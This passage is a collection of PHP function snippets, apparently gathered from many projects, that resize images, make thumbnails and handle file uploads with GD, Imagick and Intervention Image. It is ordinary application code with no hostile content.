imagejpeg($thumb, $target, 100);\n\t break;\n\t }\n\t case \".gif\": {\n\t\t imagegif($thumb, $target);\n\t break;\n\t }\n\t case \".png\": {\n\t\t imagepng($thumb, $target);\n\t break;\n\t }\n\t case \".bmp\": {\n\t\t imagewbmp($thumb,$target);\n\t }\n\t default: {\n\t\t $return = false;\n\t }\n }\n\n // report the success (or fail) of the action\n return $return;\n}",
"function filter_site_upload_size_limit( $size ) {\n $size = 1024 * 64000;\n return $size;\n}",
"function scaleByLength($size)\r\n {\r\n if ($this->img_x >= $this->img_y) {\r\n $new_x = $size;\r\n $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);\r\n } else {\r\n $new_y = $size;\r\n $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);\r\n }\r\n return $this->_resize($new_x, $new_y);\r\n }",
"function make_thumb($folder, $file, $dest, $thumb_width)\n{\t\t\n\t$file_parts = pathinfo($file);\n\t//$filename = strtolower($file_parts['filename']);\n\t$ext = strtolower($file_parts['extension']);\n\t\n\tif(isset($ext) && $ext != '')\n\t{\t\n\t\tswitch($ext)\n\t\t{\n\t\t\tcase \"jpeg\":\t\t\n\t\t\tcase \"jpg\":\n\t\t\t$source_image = imagecreatefromjpeg($folder.'/'.$file);\n\t\t\tfixImageOrientation($folder.'/'.$file);\n\t\t\tbreak;\n\t\t\t\n\t\t\tcase \"png\":\n\t\t\t$source_image = imagecreatefrompng($folder.'/'.$file);\n\t\t\tbreak;\n\t\t\t\n\t\t\tcase \"gif\":\n\t\t\t$source_image = imagecreatefromgif($folder.'/'.$file);\n\t\t\tbreak;\n\t\t}\t\n\t\t\n\t\tif(isset($source_image))\n\t\t{\n\t\t\t$width = imagesx($source_image);\n\t\t\t$height = imagesy($source_image);\n\t\t\t\n\t\t\tif($width < $thumb_width) // if original image is smaller don't resize it\n\t\t\t{\n\t\t\t\t$thumb_width = $width;\n\t\t\t\t$thumb_height = $height;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$thumb_height = floor($height*($thumb_width/$width));\n\t\t\t}\n\t\t\t\n\t\t\t$virtual_image = imagecreatetruecolor($thumb_width,$thumb_height);\n\t\t\t\n\t\t\tif($ext == \"gif\" or $ext == \"png\") // preserve transparency\n\t\t\t{\n\t\t\t\timagecolortransparent($virtual_image, imagecolorallocatealpha($virtual_image, 0, 0, 0, 127));\n\t\t\t\timagealphablending($virtual_image, false);\n\t\t\t\timagesavealpha($virtual_image, true);\n\t\t\t}\n\t\t\t\n\t\t\timagecopyresampled($virtual_image,$source_image,0,0,0,0,$thumb_width,$thumb_height,$width,$height);\n\t\t\t\n\t\t\tswitch($ext)\n\t\t\t{\n\t\t\t\tcase 'jpeg':\t\t\t\t\n\t\t\t\tcase 'jpg': imagejpeg ($virtual_image, $dest);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'gif': imagegif($virtual_image, $dest); \n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'png': imagepng($virtual_image, $dest); \n\t\t\t\tbreak;\n\n\t\t\t}\n\t\t\t\n\t\t\timagedestroy($virtual_image); \n\t\t\timagedestroy($source_image);\n\t\t\t\n\t\t}\t\n\t\t\n\t}\t\n\t\n}",
"function imgResize($file_ori,$UploadPath,$Resize=1,$imgx=130,$imgy=150,$clean=0,$postFix=\"\") {\n\t\t$dest_filename='';\n\t\t$handle = new upload($file_ori);\n\t\t$img_proper=getimagesize($file_ori['tmp_name']);\n\t\tif ($handle->uploaded) {\n\t\t\tif($img_proper[0]>$imgx && $img_proper[1]>$imgy && $Resize==1)\t{\n\t\t\t\t$handle->image_x = $imgx;\n\t\t\t\t$handle->image_y = $imgy;\n\t\t\t\t$handle->image_resize = true;\n\t\t\t\t$handle->image_ratio_y = true;\n\t\t\t\t$handle->image_ratio_x = true;\n\t\t\t\t$handle->dir_auto_create = true;\n\t\t\t\t$handle->dir_auto_chmod = true;\n\t\t\t\t$handle->dir_chmod = 0777;\n\t\t\t} else if($img_proper[0]>$imgx && $img_proper[1]<$imgy && $Resize==1)\t{\n\t\t\t\t$handle->image_x = $imgx;\n\t\t\t\t$handle->image_resize = true;\n\t\t\t\t$handle->image_ratio_y = true;\n\t\t\t\t$handle->dir_auto_create = true;\n\t\t\t\t$handle->dir_auto_chmod = true;\n\t\t\t\t$handle->dir_chmod = 0777;\n\t\t\t} else if($img_proper[0]<$imgx && $img_proper[1]>$imgy && $Resize==1)\t{\n\t\t\t\t$handle->image_y = $imgy;\n\t\t\t\t$handle->image_resize = true;\n\t\t\t\t$handle->image_ratio_x = true;\n\t\t\t\t$handle->dir_auto_create = true;\n\t\t\t\t$handle->dir_auto_chmod = true;\n\t\t\t\t$handle->dir_chmod = 0777;\n\t\t\t}\n\t\t\t$handle->file_name_body_add = $postFix;\n\t\t\t$handle->process($UploadPath);\n\t\t\tif ($handle->processed) {\n\t\t\t\t$dest_filename=$handle->file_dst_name;\n\t\t\t\tif($clean==1)\n\t\t\t\t\t$handle->clean();\n\t\t\t} else\n\t\t\t\t$dest_filename='';\n\t\t}\n\t\treturn $dest_filename;\n\t}",
"function Set_max_size($ServerName, $max_size){\n\t\tself::Run_flushctl_command($ServerName, \" set max_size \".$max_size);\n\t}",
"function resize_image($path, $filename, $maxwidth, $maxheight, $quality=75, $type = \"small_\", $new_path = \"\")\n{\n $filename = DIRECTORY_SEPARATOR.basename($filename);\n $sExtension = substr($filename, (strrpos($filename, \".\") + 1));\n $sExtension = strtolower($sExtension);\n\n // check ton tai thu muc khong\n if (!file_exists($path.$type))\n {\n @mkdir($path.$type, 0777, true);\n chmod($path.$type, 0777);\n }\n // Get new dimensions\n $size = getimagesize($path . $filename);\n $width = $size[0];\n $height = $size[1];\n if($width != 0 && $height !=0)\n {\n if($maxwidth / $width > $maxheight / $height) $percent = $maxheight / $height;\n else $percent = $maxwidth / $width;\n }\n\n $new_width\t= $width * $percent;\n $new_height\t= $height * $percent;\n\n // Resample\n $image_p = imagecreatetruecolor($new_width, $new_height);\n //check extension file for create\n switch($size['mime'])\n {\n case 'image/gif':\n $image = imagecreatefromgif($path . $filename);\n break;\n case 'image/jpeg' :\n case 'image/pjpeg' :\n $image = imagecreatefromjpeg($path . $filename);\n break;\n case 'image/png':\n $image = imagecreatefrompng($path . $filename);\n break;\n }\n //Copy and resize part of an image with resampling\n imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\n\n // Output\n // check new_path, nếu new_path tồn tại sẽ save ra đó, thay path = new_path\n if($new_path != \"\")\n {\n $path = $new_path;\n if (!file_exists($path.$type))\n {\n @mkdir($path.$type, 0777, true);\n chmod($path.$type, 0777);\n }\n }\n\n switch($sExtension)\n {\n case \"gif\":\n imagegif($image_p, $path . $type . $filename);\n break;\n case $sExtension == \"jpg\" || $sExtension == \"jpe\" || $sExtension == \"jpeg\":\n imagejpeg($image_p, $path . $type . $filename, $quality);\n break;\n case \"png\":\n imagepng($image_p, $path . $type . $filename);\n break;\n }\n imagedestroy($image_p);\n}",
"function copyUploadedFile( $source, $destination = \"\", $thumbnail = false, $resizeScale = null ){\n \t\n \t$this->source \t= $source;\n// \t$this->name\t\t= str_replace( \" \", \"_\", $source[ \"name\" ] ); //\tsubstituindo os espacos em branco.\n// \t$this->name\t\t= htmlentities( $this->name );\n\t\t$this->name\t\t= $this->renameFile( $source[ 'name' ] );\n \t$this->newName\t= $this->name;\n \t\n \t//\tDestino completo\n $this->path \t\t\t= $this->path . $destination . DS;\n $this->thumbnailPath\t= $this->thumbnailPath . $destination . DS;\n \n //\tVerifica se arquivo é permitido\n if( $this->verifyUpload( $source ) ){\n \n \t$filename = $this->verifyFileExists( $this->name );\n \t\n\t if( move_uploaded_file( $source[ \"tmp_name\" ], $this->path . $filename ) ){\n\t\t\t\t\n\t \t$this->setLog();\n\t \t\n\t \tif( $thumbnail )\n\t \t\t$this->createThumbnail();\n\t \t\n\t \tif( $resizeScale )\n\t \t\t$this->resizeImage( $filename, $resizeScale );\n\t \t\t\n\t \t$this->uploaded = true;\n\t \n\t \treturn true;\n\t \t\n\t } else {\n\t \n\t $this->setLog(); \n\t \t$this->setLog( \"-> Erro ao enviar arquivo<br />\" );\n\t $this->setLog( \" Obs.: \" . $this->getErrorUpload( $source[ \"error\" ] ) . \"<br />\" );\n\t\n\t return false;\n\t }\n\t \n } else {\n \t\n \t$this->setLog();\n $this->setLog( \"-> O arquivo que você está tentando enviar não é permitido pelo administrador<br />\" );\n $this->setLog( \" Obs.: Apenas as extensões \" . $this->viewExt() . \" são permitidas.<br />\" );\n\n return false;\n }\n }",
"function makethumb($filename) {\n\n// Set a maximum height, width, and quality of thumbnails\n$width = 100;\n$height = 80;\n$quality = 80;\n\n\n// Get new dimensions\nlist($width_orig, $height_orig) = getimagesize($filename);\n\nif ($width && ($width_orig < $height_orig)) {\n $width = ($height / $height_orig) * $width_orig;\n} else {\n $height = ($width / $width_orig) * $height_orig;\n}\n\n// Resample\n$image_p = imagecreatetruecolor($width, $height);\n$image = imagecreatefromjpeg($filename);\nimagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);\n\n// Output\n $newfile=\"thumb/\".$filename;\n\n imagejpeg($image_p, $newfile, $quality);\n}",
"public function copy($file, $new_file);",
"function compareFileSize($oldFile, $newFile) {\n $oldFileSize = filesize($oldFile);\n $newFileSize = filesize($newFile);\n if ($newFileSize >= $oldFileSize) {\n copy($oldFile, $newFile);\n }\n }",
"function makeThumbnail($sourcefile, $endfile, $thumbwidth, $thumbheight, $quality){\n// and places it at endfile (path/to/thumb.jpg).\n\n// Load image and get image size.\n$img = imagecreatefromjpeg($sourcefile);\n$width = imagesx( $img );\n$height = imagesy( $img );\n\nif ($width > $height) {\n $newwidth = $thumbwidth;\n $divisor = $width / $thumbwidth;\n $newheight = floor( $height / $divisor);\n}\nelse {\n $newheight = $thumbheight;\n $divisor = $height / $thumbheight;\n $newwidth = floor( $width / $divisor );\n}\n\n// Create a new temporary image.\n$tmpimg = imagecreatetruecolor( $newwidth, $newheight );\n\n// Copy and resize old image into new image.\nimagecopyresampled( $tmpimg, $img, 0, 0, 0, 0, $newwidth, $newheight, $width, $height );\n\n// Save thumbnail into a file.\nimagejpeg( $tmpimg, $endfile, $quality);\n\n// release the memory\nimagedestroy($tmpimg);\nimagedestroy($img);\n}",
"public function resize($file, $size, $height, $name, $path)\n {\n\n if (!is_dir($path . '/'))\n if (!mkdir($path, 0777)) ;\n\n $array = explode('.', $name);\n $ext = strtolower(end($array));\n\n switch (strtolower($ext)) {\n\n case \"gif\":\n $out = imagecreatefromgif($file);\n break;\n\n case \"jpg\":\n $out = imagecreatefromjpeg($file);\n break;\n\n case \"jpeg\":\n $out = imagecreatefromjpeg($file);\n break;\n\n case \"png\":\n $out = imagecreatefrompng($file);\n break;\n }\n\n $src_w = imagesx($out);\n $src_h = imagesy($out);\n\n if ($src_w > $size || $src_h > $height) {\n\n if ($src_w > $size) {\n\n $dst_w = $size;\n $dst_h = floor($src_h / ($src_w / $size));\n\n\n $img_out = imagecreatetruecolor($dst_w, $dst_h);\n imagecopyresampled($img_out, $out, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h);\n\n switch (strtolower($ext)) {\n case \"gif\":\n imagegif($img_out, $path . $name);\n break;\n case \"jpg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"jpeg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"png\":\n imagepng($img_out, $path . $name);\n break;\n }\n\n } else if ($src_h > $height) {\n\n $dst_h = $height;\n $dst_w = floor($src_w / ($src_h / $height));\n\n if ($dst_w > $size) {\n\n $dst_w = $size;\n $dst_h = floor($src_h / ($src_w / $size));\n\n }\n\n\n $img_out = imagecreatetruecolor($dst_w, $dst_h);\n imagecopyresampled($img_out, $out, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h);\n\n switch (strtolower($ext)) {\n case \"gif\":\n imagegif($img_out, $path . $name);\n break;\n case \"jpg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"jpeg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"png\":\n imagepng($img_out, $path . $name);\n break;\n }\n\n }\n\n $array = explode('.', $name);\n $ext = strtolower(end($array));\n\n switch (strtolower($ext)) {\n\n case \"gif\":\n $out = imagecreatefromgif($path . $name);\n break;\n\n case \"jpg\":\n $out = imagecreatefromjpeg($path . $name);\n break;\n\n case \"jpeg\":\n $out = imagecreatefromjpeg($path . $name);\n break;\n\n case \"png\":\n $out = imagecreatefrompng($path . $name);\n break;\n }\n\n $src_w = imagesx($out);\n $src_h = imagesy($out);\n\n if ($src_h > $height) {\n\n $dst_h = $height;\n $dst_w = floor($src_w / ($src_h / $height));\n\n if ($dst_w > $size) {\n\n $dst_w = $size;\n $dst_h = floor($src_h / ($src_w / $size));\n\n }\n\n $img_out = imagecreatetruecolor($dst_w, $dst_h);\n imagecopyresampled($img_out, $out, 0, 0, 0, 0, $dst_w, $dst_h, $src_w, $src_h);\n\n switch (strtolower($ext)) {\n case \"gif\":\n imagegif($img_out, $path . $name);\n break;\n case \"jpg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"jpeg\":\n imagejpeg($img_out, $path . $name, 100);\n break;\n case \"png\":\n imagepng($img_out, $path . $name);\n break;\n }\n\n }\n\n } else {\n\n copy($file, $path . $name);\n\n }\n\n\n }",
"function copyAndCreateThumb( $sDestDir, $mImgSrc, $sImgOutput, $sOption = null ){\n\n // zapamietanie wielkosci dla miniaturek\n $iOldSize = $this->iThumbX;\n\n if( !is_dir( $sDestDir ) )\n return null;\n\n $sImgOutput = $this->throwNameOfFile( $sImgOutput );\n\n $sImgOutput = $this->changeFileName( $sImgOutput );\n\n if( $sOption == 'upload' ){\n if( is_uploaded_file( $mImgSrc['tmp_name'] ) && is_file( $mImgSrc['tmp_name'] ) && filesize( $mImgSrc['tmp_name'] ) > 0 && $this->checkCorrectFile( $mImgSrc['name'], 'jpg|jpeg|gif|png' ) == 1 ){\n $this->sExt = $this->throwExtOfFile( $mImgSrc['name'] );\n $aNewFiles['bFile'] = $this->uploadFile( $mImgSrc, $sDestDir, $sImgOutput.'.'.$this->sExt );\n }\n else\n return null;\n }\n elseif( $sOption == 'copy' ){\n if( is_file( $mImgSrc ) && filesize( $mImgSrc ) > 0 && $this->checkCorrectFile( $mImgSrc, 'jpg|jpeg|gif|png' ) == 1 ){\n $this->sExt = $this->throwExtOfFile( $mImgSrc );\n $aNewFiles['bFile'] = $this->checkIsFile( $sImgOutput.'.'.$this->sExt, $sDestDir, $this->sExt );\n if( !copy( $mImgSrc, $sDestDir.$aNewFiles['bFile'] ) )\n return null;\n }\n else\n return null;\n }\n $sImgPatch = $sDestDir.$aNewFiles['bFile'];\n\n $aNewFiles['bName'] = basename( $aNewFiles['bFile'], '.'.$this->sExt );\n $aNewFiles['sFile'] = $aNewFiles['bName'] . $this->iThumbAdd . '.' . $this->sExt;\n $aImgSize = $this->throwImgSize( $sImgPatch );\n\n if( defined( 'MAX_DIMENSION_OF_IMAGE' ) && ( $aImgSize['width'] > MAX_DIMENSION_OF_IMAGE || $aImgSize ['height'] > MAX_DIMENSION_OF_IMAGE ) ){\n if( $aImgSize['width'] < $this->iMaxForThumbSize && $aImgSize ['height'] < $this->iMaxForThumbSize ){\n $iOldAdd = $this->iThumbAdd;\n $this->setThumbSize( MAX_DIMENSION_OF_IMAGE );\n $this->setThumbAdd( '' );\n $aNewFiles['bFile'] = $this->createThumb( $sImgPatch, $sDestDir, $aNewFiles['bFile'] );\n $this->setThumbSize( $iOldSize );\n $this->setThumbAdd( $iOldAdd );\n }\n else\n return null;\n }\n \n if( $aImgSize['width'] >= $this->iThumbX || $aImgSize['height'] >= $this->iThumbX ){\n if( $aImgSize['width'] < $this->iMaxForThumbSize && $aImgSize ['height'] < $this->iMaxForThumbSize )\n $aNewFiles['sFile'] = $this->createThumb( $sImgPatch, $sDestDir );\n else\n return null;\n }\n else\n copy( $sImgPatch, $sDestDir.$aNewFiles['sFile'] );\n\n $aNewFiles['bWidth'] = $aImgSize['width'];\n $aNewFiles['bHeight'] = $aImgSize['height'];\n $aNewFiles['sWidth'] = $this->iThumbX;\n $aNewFiles['sHeight'] = $this->iThumbY;\n $aNewFiles['sName'] = basename( $aNewFiles['sFile'], '.'.$this->sExt );\n $aNewFiles['ext'] = $this->sExt;\n\n $this->iThumbY = 100;\n $this->setThumbSize( $iOldSize );\n\n return $aNewFiles;\n }",
"function resizeThumbnailImage($thumb_image_name, $image, $width, $height, $start_width, $start_height, $scale){\n\t$newImageWidth = ceil($width * $scale);\n\t$newImageHeight = ceil($height * $scale);\n\t$newImage = imagecreatetruecolor($newImageWidth,$newImageHeight);\n\t$source = imagecreatefromjpeg($image);\n\timagecopyresampled($newImage,$source,0,0,$start_width,$start_height,$newImageWidth,$newImageHeight,$width,$height);\n\timagejpeg($newImage,$thumb_image_name,90);\n\tchmod($thumb_image_name, 0777);\n\treturn $thumb_image_name;\n}",
"public function resize($size, $filename = null, $browser_compat = false)\n {\n $result = false;\n $rcube = rcube::get_instance();\n $convert = $rcube->config->get('im_convert_path', false);\n $props = $this->props();\n\n if (empty($props)) {\n return false;\n }\n\n if (!$filename) {\n $filename = $this->image_file;\n }\n\n // use Imagemagick\n if ($convert || class_exists('Imagick', false)) {\n $p['out'] = $filename;\n $p['in'] = $this->image_file;\n $type = $props['type'];\n\n if (!$type && ($data = $this->identify())) {\n $type = $data[0];\n }\n\n $type = strtr($type, array(\"jpeg\" => \"jpg\", \"tiff\" => \"tif\", \"ps\" => \"eps\", \"ept\" => \"eps\"));\n $p['intype'] = $type;\n\n // convert to an image format every browser can display\n if ($browser_compat && !in_array($type, array('jpg','gif','png'))) {\n $type = 'jpg';\n }\n\n // If only one dimension is greater than the limit convert doesn't\n // work as expected, we need to calculate new dimensions\n $scale = $size / max($props['width'], $props['height']);\n\n // if file is smaller than the limit, we do nothing\n // but copy original file to destination file\n if ($scale >= 1 && $p['intype'] == $type) {\n $result = ($this->image_file == $filename || copy($this->image_file, $filename)) ? '' : false;\n }\n else {\n $valid_types = \"bmp,eps,gif,jp2,jpg,png,svg,tif\";\n\n if (in_array($type, explode(',', $valid_types))) { // Valid type?\n if ($scale >= 1) {\n $width = $props['width'];\n $height = $props['height'];\n }\n else {\n $width = intval($props['width'] * $scale);\n $height = intval($props['height'] * $scale);\n }\n\n // use ImageMagick in command line\n if ($convert) {\n $p += array(\n 'type' => $type,\n 'quality' => 75,\n 'size' => $width . 'x' . $height,\n );\n\n $result = rcube::exec($convert . ' 2>&1 -flatten -auto-orient -colorspace sRGB -strip'\n . ' -quality {quality} -resize {size} {intype}:{in} {type}:{out}', $p);\n }\n // use PHP's Imagick class\n else {\n try {\n $image = new Imagick($this->image_file);\n \n $image->setImageBackgroundColor('white');\n $image->setImageAlphaChannel(11);\n $image->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);\n\n $image->setImageColorspace(Imagick::COLORSPACE_SRGB);\n $image->setImageCompressionQuality(75);\n $image->setImageFormat($type);\n $image->stripImage();\n $image->scaleImage($width, $height);\n\n if ($image->writeImage($filename)) {\n $result = '';\n }\n }\n catch (Exception $e) {\n rcube::raise_error($e, true, false);\n }\n }\n }\n }\n\n if ($result === '') {\n @chmod($filename, 0600);\n return $type;\n }\n }\n\n // do we have enough memory? (#1489937)\n if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' && !$this->mem_check($props)) {\n return false;\n }\n\n // use GD extension\n if ($props['gd_type']) {\n if ($props['gd_type'] == IMAGETYPE_JPEG && function_exists('imagecreatefromjpeg')) {\n $image = imagecreatefromjpeg($this->image_file);\n $type = 'jpg';\n }\n else if($props['gd_type'] == IMAGETYPE_GIF && function_exists('imagecreatefromgif')) {\n $image = imagecreatefromgif($this->image_file);\n $type = 'gif';\n }\n else if($props['gd_type'] == IMAGETYPE_PNG && function_exists('imagecreatefrompng')) {\n $image = imagecreatefrompng($this->image_file);\n $type = 'png';\n }\n else {\n // @TODO: print error to the log?\n return false;\n }\n\n if ($image === false) {\n return false;\n }\n\n $scale = $size / max($props['width'], $props['height']);\n\n // Imagemagick resize is implemented in shrinking mode (see -resize argument above)\n // we do the same here, if an image is smaller than specified size\n // we do nothing but copy original file to destination file\n if ($scale >= 1) {\n $result = $this->image_file == $filename || copy($this->image_file, $filename);\n }\n else {\n $width = intval($props['width'] * $scale);\n $height = intval($props['height'] * $scale);\n $new_image = imagecreatetruecolor($width, $height);\n\n if ($new_image === false) {\n return false;\n }\n\n // Fix transparency of gif/png image\n if ($props['gd_type'] != IMAGETYPE_JPEG) {\n imagealphablending($new_image, false);\n imagesavealpha($new_image, true);\n $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);\n imagefilledrectangle($new_image, 0, 0, $width, $height, $transparent);\n }\n\n imagecopyresampled($new_image, $image, 0, 0, 0, 0, $width, $height, $props['width'], $props['height']);\n $image = $new_image;\n\n // fix rotation of image if EXIF data exists and specifies rotation (GD strips the EXIF data)\n if ($this->image_file && $type == 'jpg' && function_exists('exif_read_data')) {\n $exif = exif_read_data($this->image_file);\n if ($exif && $exif['Orientation']) {\n switch ($exif['Orientation']) {\n case 3:\n $image = imagerotate($image, 180, 0);\n break;\n case 6:\n $image = imagerotate($image, -90, 0);\n break;\n case 8:\n $image = imagerotate($image, 90, 0);\n break;\n }\n }\n }\n\n if ($props['gd_type'] == IMAGETYPE_JPEG) {\n $result = imagejpeg($image, $filename, 75);\n }\n elseif($props['gd_type'] == IMAGETYPE_GIF) {\n $result = imagegif($image, $filename);\n }\n elseif($props['gd_type'] == IMAGETYPE_PNG) {\n $result = imagepng($image, $filename, 6, PNG_ALL_FILTERS);\n }\n }\n\n if ($result) {\n @chmod($filename, 0600);\n return $type;\n }\n }\n\n // @TODO: print error to the log?\n return false;\n }",
"protected function resizeProportional($fileName)\n\t{\n\t\t$file = WideImage::load($this->fileDir.DS.$fileName);\n\t\t$file->saveToFile($this->fileDir.DS.'thumb_'.$fileName);\n\n\t\treturn $this->cropInside($this->fileDir.DS.'thumb_'.$fileName,$this->modelSettings['thumb_size']['width'],$this->modelSettings['thumb_size']['height']);\n\t}",
"function resizer($image_file_name,$desc_location=null,$new_width=null,$new_height=null,$min_size=null,$show_image=true)\n\t{\n\t list($width, $height) = @getimagesize($image_file_name);\n\t if (empty($width) or empty($height)) {return false;}\n\n\t if (!is_null($min_size)) {\n\t if (is_null($min_size)) {$min_size=$new_width;}\n\t if (is_null($min_size)) {$min_size=$new_height;}\n\n\t if ($width>$height) {$new_height=$min_size;$new_width=null;}\n\t else {$new_width=$min_size;$new_height=null;}\n\t }\n\n\t// $my_new_height=$new_height;\n\t if (is_null($new_height) and !is_null($new_width))\n\t { $my_new_height=round($height*$new_width/$width);$my_new_width=$new_width; }\n\t elseif (!is_null($new_height))\n\t { $my_new_width=round($width*$new_height/$height);$my_new_height=$new_height; }\n\t//echo \"$my_new_width, $my_new_height <br/>\";\n\t $image_resized = imagecreatetruecolor($my_new_width, $my_new_height);\n\t $image = imagecreatefromjpeg($image_file_name);\n\t imagecopyresampled($image_resized, $image, 0, 0, 0, 0, $my_new_width, $my_new_height, $width, $height);\n\n\t //--(BEGIN)-->save , show or send image pointer as result\n\t if (!is_null($desc_location))\n\t imagejpeg($image_resized, $desc_location,100);\n\t elseif ($show_image==true)\n\t imagejpeg($image_resized);\n\t return $image_resized;\n\t //--(END)-->save , show or send image pointer as result\n\t}",
"function normal_resize_image($source, $destination, $image_type, $max_size, $image_width, $image_height, $quality){\n\n if($image_width <= 0 || $image_height <= 0){return false;} //return false if nothing to resize\n\n //do not resize if image is smaller than max size\n if($image_width <= $max_size && $image_height <= $max_size){\n if(save_image($source, $destination, $image_type, $quality)){\n return true;\n }\n }\n\n //Construct a proportional size of new image\n $image_scale\t= min($max_size/$image_width, $max_size/$image_height);\n $new_width\t\t= ceil($image_scale * $image_width);\n $new_height\t\t= ceil($image_scale * $image_height);\n\n $new_canvas\t\t= imagecreatetruecolor( $new_width, $new_height ); //Create a new true color image\n\n //Copy and resize part of an image with resampling\n if(imagecopyresampled($new_canvas, $source, 0, 0, 0, 0, $new_width, $new_height, $image_width, $image_height)){\n save_image($new_canvas, $destination, $image_type, $quality); //save resized image\n }\n\n return true;\n}",
"protected\n function generateFile($imageFile, $size)\n {\n $destinationFile = $this->cachePath . $this->makeSizeFilename($imageFile, $size);\n\n $originalFile = $this->originalsPath . $imageFile;\n\n if (!file_exists($originalFile)) throw new \\Exception('Original file not found');\n\n $image = Image::make($originalFile);\n\n //resize oringinal, then crop to keep consistent then make size.\n $sam = $image->resize(800, null, function ($constraint) {\n $constraint->aspectRatio();\n })->crop(800, 600)\n ->resize($this->sizes[$size][\"width\"], $this->sizes[$size][\"height\"], function ($constraint) {\n $constraint->aspectRatio();\n })->save($destinationFile, 100);\n }",
"public function fullSize($file, $nameWithExt)\n {\n $manager = new ImageManager();\n $image = $manager->make($file)->resize(1000, 800);\n $card = $image->stream();\n $stored =$this->storageDisk()->put(config('es.fullSize') . $nameWithExt, $card->__toString(),'public');\n $path = config('tourism.fullSize').$nameWithExt;\n return $path;\n\n }",
"function _resizeImageGD1($src_file, $dest_file, $new_size, $imgobj) {\r\n if ($imgobj->_size == null) {\r\n return false;\r\n }\r\n // GD1 can only handle JPG & PNG images\r\n if ($imgobj->_type !== \"jpg\" && $imgobj->_type !== \"jpeg\" && $imgobj->_type !== \"png\") {\r\n return false;\r\n }\r\n // height/width\r\n $ratio = max($imgobj->_size[0], $imgobj->_size[1]) / $new_size;\r\n $ratio = max($ratio, 1.0);\r\n $destWidth = (int)($imgobj->_size[0] / $ratio);\r\n $destHeight = (int)($imgobj->_size[1] / $ratio);\r\n if ($imgobj->_type == \"jpg\" || $imgobj->_type == \"jpeg\") {\r\n $src_img = imagecreatefromjpeg($src_file);\r\n } else {\r\n $src_img = imagecreatefrompng($src_file);\r\n }\r\n if (!$src_img) {\r\n return false;\r\n }\r\n $dst_img = imagecreate($destWidth, $destHeight);\r\n imagecopyresized($dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $imgobj->_size[0], $imgobj->_size[1]);\r\n if ($imgobj->_type == \"jpg\" || $imgobj->_type == \"jpeg\") {\r\n imagejpeg($dst_img, $dest_file, $this->_JPEG_quality);\r\n } else {\r\n imagepng($dst_img, $dest_file);\r\n }\r\n imagedestroy($src_img);\r\n imagedestroy($dst_img);\r\n return true; \r\n }",
"protected function scaleImages() {}",
"private function moveAndCreatePhoto(\n UploadedFile $file, $size = ['l' => [1024, 768], 's' => [320, 240]]\n ) {\n $extension = '.' . $file->extension();\n\n $name = token();\n $filename = $name . $extension;\n\n $path = upload_path_images();\n $imageTmp = Image::make($file->getRealPath());\n\n if (!$imageTmp) {\n return false;\n }\n\n $largeSize = $size['l'];\n $thumbSize = $size['s'];\n\n // save original\n $imageTmp->save($path . $name . ImageThumb::$originalAppend . $extension);\n\n // if height is the biggest - resize on max height\n if ($imageTmp->width() < $imageTmp->height()) {\n // resize the image to the large height and constrain aspect ratio (auto width)\n $imageTmp->resize(null, $largeSize[1], function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $filename);\n\n // resize the image to the thumb height and constrain aspect ratio (auto width)\n $imageTmp->resize(null, $thumbSize[1], function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $name . ImageThumb::$thumbAppend . $extension);\n }\n else {\n // resize the image to the large width and constrain aspect ratio (auto height)\n $imageTmp->resize($largeSize[0], null, function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $filename);\n\n // resize the image to the thumb width and constrain aspect ratio (auto width)\n $imageTmp->resize($thumbSize[0], null, function ($constraint) {\n $constraint->aspectRatio();\n })->save($path . $name . ImageThumb::$thumbAppend . $extension);\n }\n\n return $filename;\n }",
"private function makeImageFit($key, $uri, $file_name, $w = 242) {\n\t\t$saveAs = $this->tmp . '/' . $file_name;\n\t\t$img = \\Image::make($uri)->orientate();\n\t\t$img->resize($w, null, function ($constraint) {\n\t\t\t$constraint->aspectRatio();\n\t\t});\n\t\t$img->save($saveAs, 80);\n\t\t$img->destroy();\n\t\t//Send File back up to S3.\n\t\t$this->s3->put(array(\n\t\t\t'Bucket' => $this->s3->request['bucket'],\n\t\t\t'Key' => $key,\n\t\t\t'CacheControl' => 'max-age=172800',\n\t\t\t'SourceFile' => $saveAs,\n\t\t));\n\t\t//Delete temp File.\n\t\tFile::delete($saveAs);\n\t\tunset($img);\n\t}",
"function image_resize_to_folder($source_pic, $destination_folder, $filename, $max_width, $max_height)\n{\n $image_info = getimagesize($source_pic['tmp_name']);\n $source_pic_name = $source_pic['name'];\n $source_pic_tmpname = $source_pic['tmp_name'];\n $source_pic_size = $source_pic['size'];\n $source_pic_width = $image_info[0];\n $source_pic_height = $image_info[1];\n if (!is_dir($destination_folder)) {\n mkdir($destination_folder, 0755);\n }\n\n $x_ratio = $max_width / $source_pic_width;\n $y_ratio = $max_height / $source_pic_height;\n\n if (($source_pic_width <= $max_width) && ($source_pic_height <= $max_height)) {\n $tn_width = $source_pic_width;\n $tn_height = $source_pic_height;\n } elseif (($x_ratio * $source_pic_height) < $max_height) {\n $tn_height = ceil($x_ratio * $source_pic_height);\n $tn_width = $max_width;\n } else {\n $tn_width = ceil($y_ratio * $source_pic_width);\n $tn_height = $max_height;\n }\n\n switch ($image_info['mime']) {\n case 'image/gif':\n if (imagetypes() & IMG_GIF) {\n $src = imageCreateFromGIF($source_pic['tmp_name']);\n $destination_folder.=\"$filename.gif\";\n $namafile = \"$filename.gif\";\n }\n break;\n\n case 